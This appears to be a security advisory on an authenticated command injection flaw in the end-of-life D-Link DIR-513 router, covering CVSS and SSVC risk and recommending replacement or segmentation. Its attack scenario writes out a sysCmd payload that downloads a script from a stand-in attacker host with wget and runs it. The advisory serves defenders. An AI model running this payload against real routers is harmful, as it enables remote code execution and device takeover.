D-Link EUVD-2026-13482

While the CVSS 3.1 base score of 6.3 (Medium) reflects a network-accessible vulnerability requiring low privileges (authenticated access), multiple risk factors elevate real-world concern: the published proof-of-concept code substantially increases exploitation probability despite the moderate CVSS vector (AV:N/AC:L/PR:L/UI:N), the device is end-of-life with no vendor patches forthcoming, and many organizations retain legacy routers in production without active monitoring or patching cycles. The PR:L (requires authentication) and AC:L (low complexity) factors suggest that any authenticated user or compromised account on the management interface can trigger the flaw, potentially lowering the practical barrier if default credentials or local network access is available. From an SSVC perspective, this vulnerability presents high automatable technical impact (full command execution as root/system user) but is contingent on authentication; the combination of legacy hardware, public POC, and irreversible end-of-life status means organizations running DIR-513 should treat this as a critical control gap rather than a patchable issue, necessitating hardware replacement or network segmentation rather than traditional patching.

An attacker with valid credentials to the DIR-513's web administration interface (obtained through password guessing against default credentials, credential reuse, or network proximity on a corporate wireless network) navigates to or submits a crafted request to /goform/formSysCmd with a malicious sysCmd parameter such as 'ping%20-c%201%20127.0.0.1;%20wget%20http://attacker.com/malware.sh%20-O%20/tmp/x.sh;%20sh%20/tmp/x.sh' (URL-decoded: ping -c 1 127.0.0.1; wget http://attacker.com/malware.sh -O /tmp/x.sh; sh /tmp/x.sh), and the vulnerable endpoint executes the injected shell commands without validation, allowing remote code execution. Given the low complexity (AC:L) and published POC availability, a motivated attacker can weaponize this flaw in seconds, making any DIR-513 in production an immediate lateral movement or persistence foothold if the router sits on the internal network or serves as a gateway device.